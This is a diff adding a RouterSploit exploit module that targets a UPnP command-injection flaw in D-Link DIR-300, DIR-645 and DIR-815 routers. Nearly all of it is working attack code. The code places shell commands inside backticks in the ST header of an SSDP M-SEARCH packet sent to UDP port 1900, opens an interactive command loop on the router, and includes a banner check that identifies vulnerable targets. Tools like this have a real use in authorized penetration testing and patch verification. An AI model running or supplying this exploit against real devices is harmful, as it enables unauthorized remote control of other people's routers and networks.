D-Link DIR-300, DIR-645, DIR-815 UPNP RCE exploit

routersploit/modules/exploits/dlink/dir_300_645_815_upnp_rce.py

+import socket
+
+from routersploit import (
+    exploits,
+    print_success,
+    print_status,
+    print_error,
+    mute,
+    shell,
+)
+
+
+class Exploit(exploits.Exploit):
+    """
+    Exploit implementation for D-Link DIR-300, DIR-645 and DIR-815 UPNP Remote Code Execution vulnerability.
+    If the target is vulnerable, command loop is invoked that allows executing commands on the device.
+    """
+    __info__ = {
+        'name': 'D-Link DIR-300 & DIR-645 & DIR-815 UPNP RCE',
+        'description': 'Module exploits D-Link DIR-300, DIR-645 and DIR-815 UPNP Remote Code Execution vulnerability which allows executing command on the device.',
+        'authors': [
+            'Zachary Cutlip',  # vulnerability discovery
+            'Marcin Bury <marcin.bury[at]reverse-shell.com>',  # routersploit module
+        ],
+        'references': [
+            'https://github.com/zcutlip/exploit-poc/tree/master/dlink/dir-815-a1/upnp-command-injection',
+            'http://shadow-file.blogspot.com/2013/02/dlink-dir-815-upnp-command-injection.html',
+            'https://www.exploit-db.com/exploits/34065/',
+        ],
+        'devices': [
+            'D-Link DIR-300',
+            'D-Link DIR-645',
+            'D-Link DIR-815',
+        ]
+    }
+
+    target = exploits.Option('', 'Target IP address e.g. 192.168.1.1')
+
+    def run(self):
+        if self.check():
+            print_success("Target seems to be vulnerable")
+            print_status("Invoking command loop...")
+            print_status("It is blind command injection, response is not available")
+            shell(self, architecture="mipsel")
+        else:
+            print_error("Exploit failed - target seems to be not vulnerable")
+
+    def execute(self, cmd):
+        buf = ("M-SEARCH * HTTP/1.1\r\n"
+               "Host:239.255.255.250:1900\r\n"
+               "ST:uuid:`" + cmd + "`\r\n"
+               "Man:\"ssdp:discover\"\r\n"
+               "MX:2\r\n\r\n")
+
+        try:
+            sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+            sock.settimeout(10)
+            sock.connect((self.target, 1900))
+            sock.send(buf)
+            sock.close()
+        except socket.error:
+            pass
+
+        return ""
+
+    @mute
+    def check(self):
+        buf = ("M-SEARCH * HTTP/1.1\r\n"
+               "Host:239.255.255.250:1900\r\n"
+               "ST:upnp:rootdevice\r\n"
+               "Man:\"ssdp:discover\"\r\n"
+               "MX:2\r\n\r\n")
+
+        try:
+            sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+            sock.settimeout(10)
+            sock.connect((self.target, 1900))
+            sock.send(buf)
+            response = sock.recv(65535)
+            sock.close()
+        except:
+            return False  # target is not vulnerable
+
+        if "Linux, UPnP/1.0, DIR-" in response:
+            return True  # target is vulnerable
+
+        return False  # target is not vulnerable